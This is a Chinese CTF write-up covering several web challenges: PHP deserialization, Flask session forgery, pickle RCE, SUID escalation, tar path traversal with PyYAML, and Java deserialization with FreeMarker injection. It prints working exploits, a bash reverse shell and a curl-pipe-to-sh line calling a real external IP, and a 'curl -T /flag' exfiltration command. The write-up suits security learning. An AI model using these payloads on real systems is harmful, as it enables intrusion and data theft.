团队名称:ZhangSan
序号:11
不得不说今年本科组打的是真激烈,初出茅庐的小后生没见过这场面QAQ~
D0n’t pl4y g4m3!!!
简单记录一下,实际做题踩坑很多,尝试很多。
先扫了个目录,扫出
start.sh
内容如下,这个其实和hint一样的,hint就不放了,尊嘟假嘟解密。
开始做题,题目让我访问路由
/p0p.php
,但是直接跳转到了
https://passer-by.com/pacman/
。应该是php源码里面有302跳转。
还是太年轻了,一开始以为是前端游戏题,一直在看小游戏的源码。。。。。。
只能说题目名字诚不欺我。那排除了前端小游戏,我们就得想办法拿到
p0p.php
的源码了。
搜索关键字:
php -S 0.0.0.0:80
、
内置服务器
、
任意文件读取
、
源码
很容易就搜索到这篇文章:漏洞复现php 5.5.45 - 8.0.2任意文件读取 | CTF导航 (ctfiot.com)
跟着做就好啦,记得burp->左上角重发器->关掉Content-Length自动更新。
PHP内置服务器任意文件读取:
版本: 5.5.45 - 8.0.2
用法:
GET /p0p.php HTTP/1.1\r\n
Host: 192.168.188.3:8080\r\n
\r\n
\r\n
GET / HTTP/1.1\r\n
\r\n
源码如下:
<?phpheader("HTTP/1.1 302 found");header("Location:https://passer-by.com/pacman/");classPro{private$exp;private$rce2;publicfunction__get($name){return$this->$rce2=$this->exp[$rce2];}publicfunction__toString(){call_user_func('system',"cat /flag");}}classYang{publicfunction__call($name,$ary){if($this->key===true||$this->finish1->name){if($this->finish->finish){call_user_func($this->now[$name],$ary[0]);}}}publicfunctionycb(){$this->now=0;return$this->finish->finish;}publicfunction__wakeup(){$this->key= True;}}classCheng{private$finish;public$name;publicfunction__get($value){return$this->$value=$this->name[$value];}}classBei{publicfunction__destruct(){if($this->CTF->ycb()){$this->fine->YCB1($this->rce,$this->rce1);}}publicfunction__wakeup(){$this->key=false;}}functionprohib($a){$filter="/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";returnpreg_replace($filter,'',$a);}$a=$_POST["CTF"];if(isset($a)){unserialize(prohib($a));}?>
接下来就是简单的反序列化了。(虽然说题目有点坑)
有了hint知道flag在哪,链子就不会错了,链子:
Bei::__destruct()->Yang::__call
给个EXP:
<?phpclassPro{private$exp;private$rce2;publicfunction__get($name){return$this->$rce2=$this->exp[$rce2];}publicfunction__toString(){//echo `tac /tmp/catcatf1ag.txt`call_user_func('system',"cat /flag");// /tmp/catcatf1ag.txt}}classYang{publicfunction__call($name,$ary)//2{if($this->key===true||$this->finish1->name){if($this->finish->finish){call_user_func($this->now[$name],$ary[0]);}}}publicfunctionycb(){$this->now=0;return$this->finish->finish;}publicfunction__wakeup(){$this->key= True;}}classCheng{private$finish;public$name;publicfunction__get($value){return$this->$value=$this->name[$value];}}classBei{publicfunction__destruct()//1{if($this->CTF->ycb()){$this->fine->YCB1($this->rce,$this->rce1);//2}}publicfunction__wakeup(){$this->key=false;}}/*
function prohib($a){
$filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
return preg_replace($filter,'',$a);
}
*/$aa=newBei();$aa->CTF=newYang();//if$aa->CTF->finish->finish=true;$aa->fine=newYang();$aa->fine->key=true;$aa->rce='tac /tmp/catcatf1ag.txt';$aa->rce1='tac /tmp/catcatf1ag.txt';$aa->fine->finish->finish=true;$aa->fine->now=array('YCB1'=>'syssystemtem');//echo urlencode(serialize($aa));$b=serialize($aa);echo$b;//unserialize($b);//O:3:"Bei":4:{s:3:"CTF";O:4:"Yang":1:{s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}}s:4:"fine";O:4:"Yang":3:{s:3:"key";b:1;s:6:"finish";O:8:"stdClass":1:{s:6:"finish";b:1;}s:3:"now";a:1:{s:4:"YCB1";s:6:"syssystemtem";}}s:3:"rce";s:23:"tac /tmp/catcatf1ag.txt";s:4:"rce1";s:23:"tac /tmp/catcatf1ag.txt";}functionprohib($aa){$filter="/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";returnpreg_replace($filter,'',$aa);}
双写绕过
prohib()
,改长度。(12->6)
s:12:"syssystemtem"; //原始,system双写了
s:6:"syssystemtem"; //12->6
s:6:"system"; //经过prohib(),只过滤替换一次,所以可以双写绕过
记得开启Content-Length自动更新,要不然寄。
Serpent
开题。
题目描述叫我们注意
www.zip
。访问下载,得到源码。
from flask import Flask, session
from secret import secret
@app.route('/verification')defverification():try:
attribute = session.get('Attribute')ifnotisinstance(attribute,dict):raise Exception
except Exception:return'Hacker!!!'if attribute.get('name')=='admin':if attribute.get('admin')==1:return secret
else:return"Don't play tricks on me"else:return"You are a perfect stranger to me"if __name__ =='__main__':
app.run('0.0.0.0', port=80)
和session相关,我们的session是:
eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRTeXdUdThtNmtJIn19.ZPK0kQ.Lz2QvFZ9lCdDv2y-n9RkT7CHkEU
以为是JWT,解密一下看payload就知道不是。
注意到这里有
secret_key
,猜测是session伪造。
破解session:
python flask_session_cookie_manager3.py decode -s "GWHTSywTu8m6kI" -c "eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFRTeXdUdThtNmtJIn19.ZPK0kQ.Lz2QvFZ9lCdDv2y-n9RkT7CHkEU"
伪造session:(伪造要求在源码里面)
python flask_session_cookie_manager3.py encode -s "GWHTSywTu8m6kI" -t "{'Attribute': {'admin': 1, 'name': 'admin', 'secret_key': 'GWHTSywTu8m6kI'}}"
得到伪造的session
eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUd1gxWW1ob3lnZyJ9fQ.ZPKyrQ.zn60ktc6EtGIByZ0wc3XlDIwvxs
返回
Hello admin, welcome to /ppppppppppick1e
访问
/ppppppppppick1e
路由,返回
Hint: Source in /src0de
。
访问路由
/src0de
,返回源码,好套。
@app.route('/src0de')defsrc0de():
f =open(__file__,'r')
rsp = f.read()
f.close()return rsp[rsp.index("@app.route('/src0de')"):]
@app.route('/ppppppppppick1e')defppppppppppick1e():try:
username ="admin"
rsp = make_response("Hello, %s "% username)
rsp.headers['hint']="Source in /src0de"
pick1e = request.cookies.get('pick1e')if pick1e isnotNone:
pick1e = base64.b64decode(pick1e)else:return rsp
if check(pick1e):
pick1e = pickle.loads(pick1e)return"Go for it!!!"else:return"No Way!!!"except Exception as e:
error_message =str(e)return error_message
return rsp
classGWHT():def__init__(self):passif __name__ =='__main__':
app.run('0.0.0.0', port=80)
经过测试,过滤了
__ruduce__
。
那就换一个没有
__ruduce__
的payload:pickle反序列化的利用技巧总结 - 知乎 (zhihu.com)
import base64
data=import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"'
o.'''
print(base64.b64encode(data))
POC:
pick1e=KGNvcwpzeXN0ZW0KUydiYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEyMC40Ni40MS4xNzMvOTAyMyAwPiYxIicKby4=
直接getflag行不通,还得提权,好好好。
尝试find提权,无果。https://www.cnblogs.com/aaak/p/15718561.html
#查看find命令位置
which find
#查看 find 命令权限
ls -l /usr/bin/find # 这是find 默认位置
-rwxr-xr-x 1 root root 320160 Feb 18 2020 /usr/bin/find
# 有s表示可以提权,这里没有哦,所以行不通。。。。。。
算了,按流程走一遍提权。
/usr/bin
目录
ls -alsh
,发现
python3.8
有s权限位(suid)。
...
...
...
...
5.3M -rwsr-xr-x 1 root root 5.3M May 26 14:05 python3.8
...
...
...
...
cap_setuid
提权:Linux提权之:利用capabilities提权 - f_carey - 博客园 (cnblogs.com)
相当于又开启了一个shell,但是权限是python的。
python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
然后就能顺畅的getflag了。
其实
su
也有s权限位,一开始想用
su
提权,
su
是可以切换用户的,像kali中的
sudo su
或者
su root
切换root用户,但是需要root用户密码,不能用于suid提权。
好文不谢:https://gtfobins.github.io/
ArkNights
非预期直接拿下一血了。
非预期是
/read
路由读取环境变量。
放个源码赛后复现预期,先去写别的了:
# 导入所需模块import uuid # 用于生成唯一标识符from flask import*# 导入 Flask 框架的相关模块from werkzeug.utils import*# 导入 Werkzeug 工具类的相关模块# 创建 Flask 应用实例
app = Flask(__name__)# 设置应用的 SECRET_KEY
app.config['SECRET_KEY']=str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"# 定义根路径的路由和视图函数
@app.route('/')defindex():# 获取名为 "name" 的查询参数,如果不存在则使用默认值 "name"
name = request.args.get("name","name")# 获取名为 "m1sery" 的查询参数,如果不存在则使用默认值 "Doctor.Boogipop",并将其放入列表中
m1sery =[request.args.get("m1sery","Doctor.Boogipop")]# 检查会话中的 "name" 是否等于 "Dr.Boog1pop"if session.get("name")=="Dr.Boog1pop":# 对 "name" 执行黑名单检查,使用正则表达式查找潜在的恶意字符
blacklist = re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)if blacklist:return"bad hacker no way"# 如果检测到黑名单字符,返回拒绝访问消息# 执行一段动态生成的代码,此处使用了 f-stringexec(f'for [{name}] in [{m1sery}]:print("strange?")')else:
session['name']="Doctor"# 如果会话中的 "name" 不是 "Dr.Boog1pop",将其设置为 "Doctor"# 渲染名为 "index.html" 的模板,并传递会话中的 "name" 到模板中return render_template("index.html", name=session.get("name"))# 定义 "/read" 路由,用于读取文件
@app.route('/read')defread():# 获取名为 "file" 的查询参数,表示要读取的文件名file= request.args.get('file')# 对文件名进行黑名单检查,使用正则表达式查找潜在的恶意字符
fileblacklist = re.findall("/flag|fl|ag/",file, re.IGNORECASE)if fileblacklist:return"bad hacker!"# 如果检测到黑名单字符,返回拒绝访问消息# 获取名为 "start" 和 "end" 的查询参数,表示文件读取的起始位置和结束位置
start = request.args.get("start","0")
end = request.args.get("end","0")if start =="0"and end =="0":# 如果起始位置和结束位置均为 0,则读取整个文件内容,并以二进制形式返回returnopen(file,"rb").read()else:# 否则,将起始位置和结束位置转换为整数,并按照指定位置读取文件内容
start, end =int(start),int(end)
f =open(file,"rb")
f.seek(start)
data = f.read(end)return data # 返回读取到的数据# 定义动态路由,用于渲染页面,动态路由的路径参数是 "path"
@app.route("/<path:path>")defrender_page(path):# 检查是否存在名为 "templates/" + path 的文件ifnot os.path.exists("templates/"+ path):return"not found",404# 如果文件不存在,返回 404 错误# 渲染指定路径的模板return render_template(path)# 如果该脚本直接运行,启动 Flask 应用if __name__ =='__main__':
app.run(
debug=False,# 关闭调试模式
host="0.0.0.0"# 监听所有可用的网络接口)print(app.config['SECRET_KEY'])# 打印应用的 SECRET_KEY
ezyaml
源码直接给了。
# 创建 Flask 应用实例
app = Flask(__name__)# 定义 WAF(Web Application Firewall)函数,用于检查输入是否包含恶意关键词defwaf(s):
flag =True
blacklist =['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply']for no in blacklist:if no.lower()instr(s).lower():
flag =Falseprint(no)breakreturn flag
# 定义提取文件的函数defextractFile(filepath,type):
extractdir = filepath.split('.')[0]ifnot os.path.exists(extractdir):
os.makedirs(extractdir)iftype=='tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)return tf.getnames()# 定义根路由和视图函数,用于显示主页
@app.route('/', methods=['GET'])defmain():
fn ='uploads/'+ md5().hexdigest()ifnot os.path.exists(fn):
os.makedirs(fn)return render_template('index.html')# 定义上传文件的路由和视图函数
@app.route('/upload', methods=['GET','POST'])defupload():if request.method =='GET':return redirect('/')if request.method =='POST':
upFile = request.files['file']print(upFile)# 检查文件名是否包含恶意字符,如 ".." 或 "/"if re.search(r"\.\.|/", upFile.filename, re.M|re.I)!=None:return"<script>alert('Hacker!');window.location.href='/upload'</script>"
savePath = f"uploads/{upFile.filename}"print(savePath)
upFile.save(savePath)# 检查上传的文件是否为 tar 文件,如果是,则解压文件并获取其中的文件列表if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath,'tar')return render_template('result.html', path=savePath, files=zipDatas)else:return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"# 定义查看源代码的路由和视图函数
@app.route('/src', methods=['GET'])defsrc():if request.args:
username = request.args.get('username')withopen(f'config/{username}.yaml','rb')as f:
Config = yaml.load(f.read())return render_template('admin.html', username="admin", message="success")else:return render_template('index.html')# 启动 Flask 应用,监听在 0.0.0.0:8000if __name__ =='__main__':
app.run(host='0.0.0.0', port=8000)
思路很明显,
/upload
路由想办法上传
yaml
文件到
/config/
,
/src
路由想办法解析
yaml
文件。
我们分为上传路径问题和解析问题。
首先是上传路径问题,过滤了
..
和
/
,尝试使用全角字符尝试失败。
﹒﹒/﹒﹒/﹒﹒/﹒﹒/﹒﹒/etc/passwd
直接上传文件失败,那就从压缩包入手。源码里面
tar
不查里面文件的文件名。
# 检查上传的文件是否为 tar 文件,如果是,则解压文件并获取其中的文件列表if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath,'tar')return render_template('result.html', path=savePath, files=zipDatas)
但是遇到了一个问题,windows和linux都不支持文件名包含
/
,010也改不了tar,无法路径穿越。
搜索关键词:
python
tar压缩包
目录遍历
任意文件读取
可以搜到:CVE-2007-4559,用来绕过路径问题。虽然是07年的CVE,但是22年又翻出来了。
前面三篇可以对其大概有所了解,利用看后面三篇。
一个 15 年未修补 Python 漏洞让攻击者可以执行代码:35 万个开源代码存储库岌岌可危-腾讯云开发者社区-腾讯云 (tencent.com)
被忽视15年的CVE-2007-4559 Python漏洞 导致35万项目陷入代码执行风险|python|cve|存储库_网易订阅 (163.com)
CVE-2007-4559原理及复现 - 边窗/SideWindow (peirs.net)
CVE-2007-4559漏洞学习 – l1_Tuer’s blog (l1tuer.space)
【WP】NSSCTF Round#6 web3-check(Revenge)复现 - br0sy’s blog
NSSCTF Round#6-web (pankas.top)
tarfile文件覆盖漏洞(CVE-2007-4559)
Python 中 tarfile 模块中的extract、extractFile和extractall 函数中的目录遍历漏洞 允许 用户协助的远程攻击者通过 TAR 存档文件名中的..和/遍历目录 和 写入/覆盖任意文件
拿第四篇的脚本稍微改一下就能用了:
import re # 导入正则表达式模块import time # 导入时间模块import requests as req # 导入requests库,用于发送HTTP请求import tarfile # 导入tarfile库,用于创建和解压tar文件
url ='http://8000.endpoint-7d9b62edec9940c39d61c504575a64e0.m.ins.cloud.dasctf.com:81/'# 设置目标URL
filename = r"1.yaml"# 设置要上传的文件名defchangeFileName(filename):
filename.name='../../../../../app/config/jay.yaml'# 修改文件名return filename
with tarfile.open("jay.tar","w")as tar:# 创建名为jay.tar的tar文件
tar.add(filename,filter=changeFileName)# 将指定的文件添加到tar文件中,并通过filter参数修改文件名defupload(rawurl):
url = rawurl +"upload"# 拼接完整的上传URL
response = req.post(url=url, files={"file":open("exp.tar",'rb')})# 发送POST请求,上传exp.tar文件print(response.text)# 打印响应内容defgetFlag(rawurl):
url = rawurl +'src?username=jay'# 拼接完整的解析URL,解析执行/config/jay.yaml文件
response = req.get(url)# 发送GET请求,下载文件print(response.content)# 打印响应内容if __name__ =="__main__":
upload(url)# 调用upload函数,上传文件
time.sleep(3)# 等待3秒#getFlag(url) # 调用getFlag函数,解析执行/config/jay.yaml文件
运行后
yaml
文件就被成功写入
/config/
目录了。(这里试验时文件内容是111)
访问
/src?username=jay
不报错500,就是写入成功了。
接下来就是解析问题了,源码中暂时没看见过滤
yaml
文件内容的语句。但是注意到
waf
函数一直没有使用。感觉这个
waf
函数是检查我
yaml
文件的。尝试了一下还真是,估计出题人没有完全把源码给我们。
defwaf(s):
flag =True
blacklist =['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply']for no in blacklist:if no.lower()instr(s).lower():
flag =Falseprint(no)breakreturn flag
绕过方法:SecMap - 反序列化(PyYAML) - Tr0y’s Blog
tar包里面
1.yaml
的内容:(加载uploads/17.py)
!!python/module:uploads.17.py
所以在访问
/src?username=jay
前,我们还要上传一个
.py
文件。
内容是:(利用平台弹shell,用curl就行了)
import os
os.system('curl https://your-shell.com/120.46.41.173:9023 |sh')
访问
/src?username=jay
,自动弹shell。
Ez_java
考点:java反序列化,动态代理,模板注入,http信道带出数据。
链子如下:
BadAttributeValueExpException::readObject -> Map::toString -> HtmlInvocationHandler::invoke -> HtmlMap::get -> HtmlUploadUtil::uploadfile
。
先分析一下web路由的作用:(IndexController)
/
:输出"Welcome to YCB"
/templating
:渲染模板
/getflag
:传入data,base64解码+反序列化
然后是
HtmlInvocationHandler
类中的
invoke
方法。这个方法可以就行动态代理,代理的类方法会被拦截并且执行
HtmlInvocationHandler
中
obj
属性的
get
方法。
public Object invoke(Object proxy, Method method, Object[] args)throws Throwable {
Object result =this.obj.get(method.getName());return result;}
HTMLmap
类的
get
方法,可以上传文件,是利用点。
public Object get(Object key){try{
Object obj = HtmlUploadUtil.uploadfile(this.filename,this.content);return obj;}catch(Exception var4){thrownewRuntimeException(var4);}}
然后看
HtmlUploadUtil()
类:
publicstaticbooleanuploadfile(String filename, String content){if(filename != null &&!filename.endsWith(".ftl")){returnfalse;}else{
String realPath ="/app/templates/"+ filename;if(!realPath.contains("../")&&!realPath.contains("..\\")){try{
BufferedWriter writer =newBufferedWriter(newFileWriter(realPath));
writer.write(content);
writer.close();returntrue;}catch(IOException var4){
System.err.println("Error uploading file: "+ var4.getMessage());returnfalse;}}else{returnfalse;}}}
上传的文件必须是
.ftl
后缀结尾的文件,
ftl
是java的一个模板类。前面说了
HTMLmap
类的
get
方法,可以上传文件,是利用点。那就有可能上传
ftl
文件覆盖原文件,使模板渲染恶意文件中的恶意代码执行命令。
这里直接执行命令没有回显。无文件写入权限也不能反弹shell,最后选择用http信道带出文件,猜测flag在
/flag
curl -T /flag http://120.46.41.173:9023
POC:
package com.jiangshiqi;/**
* @ClassName EXP
* @Author 86159
* @Date 2023/9/2
* @Version 1.0
*/import com.ycbjava.Bean.HtmlBean;import com.ycbjava.Utils.HtmlInvocationHandler;import com.ycbjava.Utils.HtmlMap;import com.ycbjava.Utils.NewObjectInputStream;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.Base64;import java.util.Map;publicclassEXP{publicstaticvoidmain(String[] args)throws Exception {
HtmlMap htmlMap =newHtmlMap();
htmlMap.filename ="index.ftl";
htmlMap.content ="<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign ac=springMacroRequestContext.webApplicationContext><#assign fc=ac.getBean('freeMarkerConfiguration')><#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()><#assign VOID=fc.setNewBuiltinClassResolver(dcr)>${\"freemarker.template.utility.Execute\"?new()(\"curl -T /flag http://120.46.41.173:9023\")}</head><body></body></html>";
Class clazz= Class.forName("com.ycbjava.Utils.HtmlInvocationHandler");
Constructor firstConstructor = clazz.getDeclaredConstructors()[0];
firstConstructor.setAccessible(true);
Map root012map =(Map) Proxy.newProxyInstance(
EXP.class.getClassLoader(),newClass[]{Map.class},(InvocationHandler) firstConstructor.newInstance(htmlMap));
InvocationHandler htmlInvocationHandler =(InvocationHandler)
firstConstructor.newInstance(root012map);
BadAttributeValueExpException exception =newBadAttributeValueExpException(null);
Field valfield = exception.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(exception, root012map);
ByteArrayOutputStream byteArrayOutputStream =newByteArrayOutputStream();
ObjectOutputStream objectOutputStream =newObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(exception);
byteArrayOutputStream.flush();byte[] bytes = byteArrayOutputStream.toByteArray();
String encode = Base64.getEncoder().encodeToString(bytes);
System.out.println(encode);
NewObjectInputStream objectInputStream =newNewObjectInputStream(newByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();}}
生成序列化字符串:
url编码后上传
/getflag?data=xxxxx
/templating?name=Jay17
vps的9023端口接到监听
EZ_web【没出,之后补】
扫出目录
upload.php
有三个功能,上传文件、执行命令、列出目录。
flag就在
/flag.txt
中
版权归原作者 Jay 17 所有, 如有侵权,请联系我们删除。